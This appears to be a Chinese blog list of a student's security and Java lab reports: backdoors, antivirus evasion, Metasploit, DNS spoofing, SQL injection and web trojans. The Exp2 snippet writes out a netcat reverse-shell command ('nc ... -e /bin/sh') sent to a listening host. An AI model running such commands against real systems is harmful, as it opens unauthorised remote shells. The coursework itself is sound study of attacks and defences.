- 博客(62)
- 收藏
- 关注
转载 20155223 Exp9 Web安全基础实践
20155223 Exp9 Web安全基础实践基础问题回答SQL注入攻击原理,如何防御?攻击原理:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。防御手段:在数据库设置防火墙,专注防御SQL注入攻击。不再...
2018-05-24 20:01:00
305
转载 20155223 Exp8 WEB基础实践
20155223 Exp8 WEB基础实践基础问题回答什么是表单?表单是一个包含表单元素的区域。表单元素是允许用户在表单中(比如:文本域、下拉列表、单选框、复选框等等)输入信息的元素。表单使用表单标签定义。浏览器可以解析运行什么语言?超文本标记语言:HTML可扩展标记语言:XML还有各类脚本语言。WebServer支持哪些动态语言?这几种语言:ASP、JSP、PHP...
2018-05-19 14:01:00
394
转载 20155223 Exp7 网络欺诈防范
20155223 Exp7 网络欺诈防范基础问题回答通常在什么场景下容易受到DNS spoof攻击?无设防或防护力特别弟弟低的公共局域网,或者是在同一个局域网下。在日常生活工作中如何防范以上两攻击方法?鉴于DNS欺骗攻击的特点,即被动式攻击,因此我不可能在被攻击之前得到预警。那么抵御此类攻击,首先就必须升级DNS服务软件至最新版本,并打上补丁。尽量不在保密要求高的或存储有高度敏...
2018-05-09 23:12:00
297
转载 20155223 Exp6 信息收集与漏洞扫描
20155223 Exp6 信息收集与漏洞扫描本次实验以熟悉信息收集手段与漏洞扫描手段为主。实践步骤whois域名查找在虚拟机Kali的终端输入命令:whois baidu.com,查询百度的域名注册信息。从截图中我知道百度的域名于1999年10月11日创建,有效期截止至2026年10月11日(有效期27年),百度域名有一个域名服务器和四个NS服务器支持。我突然想试试查询学...
2018-05-06 19:40:00
286
转载 20155223 实验5 MSF基础应用
20155223 实验5 MSF基础应用基础问题回答用自己的话解释什么是exploit,payload,encode?exploit:漏洞攻击。一个exploit程序肯定会触发系统的一个或多个漏洞,进而程序直接获取到目标系统的部分或所有权限。一个漏洞攻击程序可以在本地运行也可以远程运行,远程运行的漏洞攻击可以理论上获取被攻击系统的所有控制权。payload:有效载荷,可以理解为搞...
2018-04-24 13:10:00
304
转载 Exp4 恶意代码分析 20155223
Exp4 恶意代码分析 20155223使用原生命令schtasks监视系统运行在系统盘目录下建立脚本文件netstatlog.bat,包含以下命令:date /t >> c:\netstatlog.txttime /t >> c:\netstatlog.txtnetstat -bn >> c:\netstatlog.txt在nets...
2018-04-14 11:40:00
177
转载 20155223 Exp3 免杀原理与实践 实验报告
20155223 Exp3 免杀原理与实践 实验报告实验前准备安装Veil-Evasion直接使用Kali快速安装命令,拒绝采用git安装命令apt-get -y install veil-evasionveil --setup启动Veil在生成的文档Veil里开启终端,输入命令veil。之前没人告诉我,启动Veil是在生成的Veil文件夹里启动,而不是在外面直接输入命...
2018-04-07 17:24:00
180
转载 20155223 Exp2 后门原理与实践
20155223 Exp2 后门原理与实践实验预热一、windows获取Linux shellWindows:使用 ipconfig 命令查看当前机器IP地址。进入ncat所在文件地址,输入命令:ncat.exe -l -p 5223。Linux:在命令行终端输入命令:nc windows主机的IP地址 5223 -e /bin/sh。-e反向连接Windows。一个回...
2018-03-27 22:24:00
311
转载 苏黄的假期学习报告3
苏黄的假期学习报告3复习进度所有需要复习科目都已经过了一遍,但是时间所剩不多,因为本来寒假就短,我还因为病情住院。不爽!春节安排如果学校放假时间往后延一两个星期,我就可以和家人、同学在家乡过完一个完整的春节——从大年三十到元宵节。可惜学校就是想让我们这群年轻人体验一把春运抢不着返程票的滋味,真TMD的生气!我前几天就帮家里人收拾屋子,明天去买只活鸡宰了来祭祀。年三十肯定和家里人过...
2018-02-11 22:02:00
154
转载 我的假期学习报告2
我的假期学习报告2复习进度报告高等数学已完成所有公式的默写工作,正在做题以增加熟练度。概率论与数理统计已完成第3章的复习工作。操作系统已完成第一、二、三章的PPT复习。病情报告已无大碍,没有任何后遗症;气温回暖,相信穿厚实点可以不会重蹈覆辙。实践报告已经在预约单位实践一星期,单位对我的工作表示积极肯定。感想我只能飞回北京了,多亏了这奇怪的抢票系统!转载...
2018-02-04 22:59:00
217
转载 苏黄永郦的假期报告——1
苏黄永郦的假期报告——1致歉我在上一篇博客中答应老师每周至少完成一篇总结性博客以反馈我的学习进程,然而我在考前复习阶段并没有及时发布报告。我的过失。然后在回家的时候想发布一篇以作假期任务的规划,谁知南宁的气温和北京的气温不同,我一下子就被流感击倒,昨天才出医院。本想在医院做博客,但是医院的网实在是太慢了,我甚至不能用电脑登录百度。所以我上个星期的博客没有完成。假期目标复习需要补...
2018-01-28 20:45:00
151
转载 2017-2018-1 20155223 20155207 实验二 固件程序设计
2017-2018-1 20155223 20155207 实验二 固件程序设计转载于:https://www.cnblogs.com/battlefieldheros/p/8150939.html
2017-12-30 19:51:00
171
转载 20155223 实验四 外设驱动程序设计
20155223 实验四 外设驱动程序设计实验任务一学习资源中全课中的“hqyj.嵌入式Linux应用程序开发标准教程.pdf”中的第十一章提交康奈尔笔记的照片提交照片:实验任务二在Ubuntu完成资源中全课中的“hqyj.嵌入式Linux应用程序开发标准教程.pdf”中的第十一章的test试验提交编译,加载模块,卸载模块,测试运行的截图(要多张,全屏,体现学号信息...
2017-12-30 19:47:00
168
转载 20155223 《信息安全系统设计基础》课程总结
20155223 《信息安全系统设计基础》课程总结每周作业链接汇总第一周简要内容第一章:计算机系统由硬件和系统软件组成,两者共同运作以运行应用程序。内部信息被表示为一组组的位,位依据上下文有不同的解释方式。程序被其他翻译程序翻译成不同形式,开始是被翻译成ASCII文本,然后被翻译成计算机可执行的二进制文本。如果是用Code::Blocks等编译软件编译,则在编译完成后自动生...
2017-12-30 10:30:00
170
转载 2017-2018-1 20155223 《信息安全系统设计基础》第14周学习总结
2017-2018-1 20155223 《信息安全系统设计基础》第14周学习总结教材内容学习总结进程控制获取进程每个进程都有唯一一个正数进程ID。函数getpid返回目标进程的ID,函数getppid返回目标进程的父进程ID。创建进程和终止进程从程序员角度,进程被认为总是处在以下三种状态之一:运行 进程要么正在CPU上执行,要么是在等待被执行借最终会被内核调度。停止 ...
2017-12-23 19:04:00
225
转载 2017-2018-1 20155223 实验五 通讯协议设计
2017-2018-1 20155223 实验五 通讯协议设计什么是OpenSSL?OpenSSL 是一个安全套接字层密码库,囊括主要的密码算法、常用的密钥和证书封装管理功能及SSL协议,并提供丰富的应用程序供测试或其它目的使用。SSL是Secure Sockets Layer(安全套接层协议)的缩写,可以在Internet上提供秘密性传输。Netscape公司在推出第一个Web浏...
2017-12-16 20:19:00
152
转载 20155223 《信息安全系统设计基础》第13周学习总结
20155223 《信息安全系统设计基础》第13周学习总结练习题回答12.1父进程派生出子进程时,子进程自动获得一个已连接描述符的副本,并将相关文件表中的引用计数从1加到2。.父进程关闭其本身的描述符副本时,引用数减1,但是不为0,。只有引用数为0时,系统才会关闭文件,所以子进程依然保持连接端打开。12.2当一个进程终止时,内核将自动关闭所有打开的描述父。所以,当子进程退出时,...
2017-12-16 16:35:00
150
转载 2017-2018-1 20155223 《信息安全系统设计基础》第11周学习总结
2017-2018-1 20155223 《信息安全系统设计基础》第11周学习总结实验四报告博客教材学习内容总结虚拟存储器虚拟存储器的另一个称呼是虚拟内存。当电脑内运行的程序占用太多内存时,操作系统会将一部分硬盘存储空间用作内存,以缓解内存的紧张。因为使用部分硬盘空间做内存,各个进程的地址空间不用被修改或删除,各进程的地址空间由此得到保护。正因为各进程的地址空间未被破坏,存...
2017-12-03 08:22:00
166
转载 2017-2018-1 20155216 20155223《信息安全技术》实验四—— 木马及远程控制技术
2017-2018-1 20155216 20155223《信息安全技术》实验四—— 木马及远程控制技术实验目的剖析网页木马的工作原理理解木马的植入过程学会编写简单的网页木马脚本通过分析监控信息实现手动删除木马实验内容木马的生成与植入利用木马实现远程操控木马的删除实验原理网页木马网页木马就是表面上伪装成普通的网页文件或是将恶意的代码直接插入到正常的网页文件中,当...
2017-11-27 12:51:00
595
转载 2017-2018-1 20155223 《信息安全系统设计基础》第9周学习总结
2017-2018-1 20155223 《信息安全系统设计基础》第9周学习总结教材学习内容总结常见的存储技术随机访问存储器(RAM):RAM分两种——静态RAM和动态RAM。静态RAM访问时间短,有持续性,不敏感,但价格高昂,因此静态RAM用于高速缓存存储器。动态RAM访问时间长,不持续,很敏感,不过价格较静态RAM便宜,因此动态RAM应用于计算机主存和帧缓冲区。非易失性存储器...
2017-11-19 10:02:00
139
转载 2017-2018-1 20155223 实验三 实时系统
2017-2018-1 20155223 实验三 实时系统实验一学习使用Linux命令wc(1)基于Linux Socket程序设计实现wc(1)服务器(端口号是你学号的后6位)和客户端客户端传一个文本文件给服务器服务器返加文本文件中的单词数wc命令:Linux系统中的wc(Word Count)命令的功能为统计指定文件中的字节数、字数、行数,并将统计结果显示输出。那么就是...
2017-11-17 20:37:00
136
转载 加分项——C语言实现Linux的pwd命令
加分项——C语言实现Linux的pwd命令实现要求1 学习pwd命令2 研究pwd实现需要的系统调用(man -k; grep),写出伪代码3 实现mypwd4 测试mypwdpwdpwd是print working directory的缩写,即打印当前路径的意思。打开终端,一定会在执行命令的$号之前看见当前的工作目录,不过一定会出现~在前面或是/etc在后面。此时输入pw...
2017-11-17 20:19:00
883
转载 2017-2018-1 20155223 《信息安全系统设计基础》第8周学习总结
2017-2018-1 20155223 《信息安全系统设计基础》第8周学习总结教材学习内容总结进程进程是靠内核自动调度实现的,而且因为他们有各自的独立的虚拟地址空间,所以要在各个进程内实现共享数据,必须要有显式的IPC机制。事件驱动程序创建它们自己的并发逻辑流,这些逻辑流被模型化成状态机,用I/O多路复用来显式地角度这些流。进程的特性有:动态性:进程的实质是程序在多道程序系统...
2017-11-11 21:16:00
113
转载 20155223 第八周课下练习2
20155223 第八周课下练习2练习要求把课上练习3的daytime服务器分别用多进程和多线程实现成并发服务器并测试。我为什么没有在课上完成?没有什么,时间不够,仓促间编写出来的服务器和客户端代码又不能很好地收发信息,不敢将不成熟的截图上交。新编写出来的程序能够很好的收发信息,但是并不是采用多线程或多进程方式编写的。必须要先学会多线程和多进程才能编写出合格的代码。编写前工作多...
2017-11-11 19:48:00
130
转载 2017-2018-1 20155223 《信息安全系统设计基础》第7周学习总结
2017-2018-1 20155223 《信息安全系统设计基础》第7周学习总结教材学习内容总结ISA(指令集体系结构)抽象的作用在处理器编写者与处理器设计人员之间设立一道概念上的抽象层。编写者只用知道允许哪些指令,以及指令的编码形式;设计人员则设计出能够执行指令的编码器。定义处理器上软件如何构建的,是ISA的重要内涵。现代处理器都支持高级编程语言、操作系统等等特性,ISA要定义出...
2017-11-05 17:05:00
138
转载 2017-2018-1 20155223 《信息安全系统设计基础》第5周学习总结
2017-2018-1 20155223 《信息安全系统设计基础》第5周学习总结教材学习内容总结逆向工程正常的设计过程是设计人员在脑中构思出产品结构、性能和大致的技术参数,然后在细节设计中完善各类数据模型,最后将模型导入总设计中以完成产品设计。而逆向工程则是先获取已有的成品,然后通过反向分析推导出完成该产品所需的大部分数据。在计算机编程当中,使用逆向工程通常指的是对已有软件进行反汇...
2017-10-22 14:28:00
117
转载 2017-2018-1 20155207 20155211 20155223 实验一 开发环境的熟悉
2017-2018-1 20155207 20155211 20155223 实验一 开发环境的熟悉一、实验内容交叉编译环境目标机宿主机联通目标机运行程序目标机模块分解清理工作二、实验具体内容实验一:交叉编译环境(自带笔记本)安装老师所给文件夹目录中的VMware-workstation-full-10.0.1-1379776.exe。安装老师所给文件夹目录中的...
2017-10-21 09:47:00
135
转载 2017-2018-1 20155223 《信息安全系统设计基础》第4周学习总结
2017-2018-1 学号 《信息安全系统设计基础》第X周学习总结教材学习内容总结第十章Linux提供了一些基于UnixI/O模型的系统级函数,它们允许应用程序打开、关闭、读写文件,提取文件元数据,以及执行I/O重定向。使用读写函数时容易出现不足值,处理不足值的方法有两种:要么自己编写程序时就预先对这些不足值进行处理,要么应用RIO包,这个包反复读写直到传送完所有请求数据都读取...
2017-10-14 22:41:00
150
转载 10.11课后练习——MyOD系统调用版本
MyOD系统调用版本题目要求参考教材《深入理解计算机(第三版)》第十章内容用Linux IO相关系统调用编写myod.c 用myod XXX实现Linux下od -tx -tc XXX的功能,注意XXX是文件名,通过命令行传入,不要让用户输入文件名不要把代码都写入main函数中要分模块,不要把代码都写入一个.c中提交测试代码和运行结果截图, 提交调试过程截图,要全屏,包含自...
2017-10-14 15:55:00
359
转载 2017-2018-1 20155223 《信息安全系统设计基础》第5周学习总结
2017-2018-1 20155223 《信息安全系统设计基础》第5周学习总结教材学习内容总结计算机将信息编码为比特,通常组织成字节序列。有不同的编码方式来表示整数、实数和字符串。现代计算机绝大多数是64位字长机,即是本计算机的虚拟地址空间为16EB,大约是1.8410^19字节。然而我的笔记本电脑是32位字长机,其虚拟地址空间只有4GB,刚超过410^9字节。这意味着我的电脑上...
2017-10-12 12:16:00
122
转载 课堂实践及课后练习9.27@20155223
课堂实践及课后练习9.27声明我是因为电脑电池电量不足才没法按时完成课堂实践的,如果我电脑的电池没毛病,那么这篇博客根本就不会出现。实验1和实验2是我在电脑没电前完成的,故不放出。实验3本实验要求学生掌握在Linux环境下使用gcc -g命令对由vim编辑的代码进行编译。在main.c代码行内添加一个空循环,循环次数为学号后四位;用gdb命令设置条件断点,条件为后四位学号的一半...
2017-09-28 22:50:00
121
转载 2017-2018-1 20155223 《信息安全系统设计基础》第3周学习总结
2017-2018-1 20155223 《信息安全系统设计基础》第3周学习总结教材学习内容总结第一章计算机系统由硬件和系统软件组成,两者共同运作以运行应用程序。内部信息被表示为一组组的位,位依据上下文有不同的解释方式。程序被其他翻译程序翻译成不同形式,开始是被翻译成ASCII文本,然后被翻译成计算机可执行的二进制文本。如果是用Code::Blocks等编译软件编译,则在编译完成...
2017-09-24 10:25:00
111
转载 Java第五次实验报告
Java第五次实验报告实验一实验内容两人一组结对编程:参考结对实现中缀表达式转后缀表达式的功能 MyBC.java结对实现从上面功能中获取的表达式中实现后缀表达式求值的功能,调用MyDC.java实验要求我同我的搭档一起完成这项任务,所以我就让搭档将她的那份MyBC.java改好了给我,我来进行调试。本来就是个轻松的工作,直到我看见是要求通过调用文件来进行计算……淦!也...
2017-06-02 21:26:00
366
转载 课堂代码练习补交
课堂代码补交——用Java实现Linux的od命令实验题目:编写MyOD.java 用java MyOD XXX实现Linux下od -tx -tc XXX的功能本次实验要求用Java代码编写程序,可以读取文件并将文件内字符转换为其对应的ASCII码值,然后输出。目标文件内只有test20155223test这一串字符,而且本程序不能够使用命令行来指定文件运行。不过,一些基础部分...
2017-05-31 15:15:00
168
转载 第四次实验报告
第四次实验报告实验内容前期准备安装Android Studio V2.3.1 。我是上周周末完成安装的,需要提醒的是,我在安装后启动程序出现这个方框的时候我选择Setup Proxy之后选择的是自动寻找Proxy这个选项,之后就没有遇到过像其他同学遇到这样或那样的问题。实验一:Hello World后接自己的学号就像我之前使用过的Code::Blocks那样,每一次创建空白...
2017-05-20 10:39:00
103
转载 第三次实验报告
第三次实验报告实验内容一、在IDEA中使用工具(Code->Reformate Code)把下面代码重新格式化,再研究一下Code菜单,找出一项让自己感觉最好用的功能。提交截图,加上自己学号水印public class CodeStandard {public static void main(String [] args){StringBuffer buffer = n...
2017-05-06 12:12:00
104
转载 20155223 第十一周课堂编码
20155223 第十一周课堂编码内容一略内容二根据以下功能描述补全代码:图中橙色方框内为需补充部分。补全后的代码片段:while (tokenizer.hasMoreTokens()) { token = tokenizer.nextToken(); if (isOperator(token)) { ...
2017-05-03 16:19:00
145
转载 20155223 2016-2017-2 《Java程序设计》第10周学习总结
20155223 2016-2017-2 《Java程序设计》第10周学习总结教材学习内容总结Java Socket编程网络上的两个程序通过一个双向的通讯连接实现数据的交换,这个双向链路的一端称为一个Socket。Socket通常用来实现客户方和服务方的连接。Socket是TCP/IP协议的一个十分流行的编程界面,一个Socket由一个IP地址和一个端口号唯一确定。在Java...
2017-04-29 16:17:00
124
转载 20155223 2016-2017-2 《Java程序设计》第9周学习总结
20155223 2016-2017-2 《Java程序设计》第9周学习总结教材学习内容总结 第十六章JDBC——Java数据库连接是用于执行SQL的解决方案,开发人员无需接触底层数据库举动程序的差异性。数据库相关操作的JDBC接口或类都位于java.sql包中,每次使用前记得打上import java.sql.*;连接数据库可以向DriverManager获取Connect...
2017-04-22 14:40:00
142
转载 2016-2017-2 20155223 实验二 《Java面向对象程序设计》
2016-2017-2 苏黄永郦 实验二 实验报告前期准备工作——程序安装-问题一开始的时候我就在老师博客的指导下安装IDEA插件JUnit Generator V2.0。当然我的IDEA肯定没有装上老师说的那个插件,于是我点击Install按钮,然后就……什么鬼?别坑我啊,信不信哥把你删了然后格式化啊!为什么啊?网络连接不好,加载不出来?难道是版本不同,我要点其他按钮?旁边...
2017-04-21 22:10:00
174
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人
RSS订阅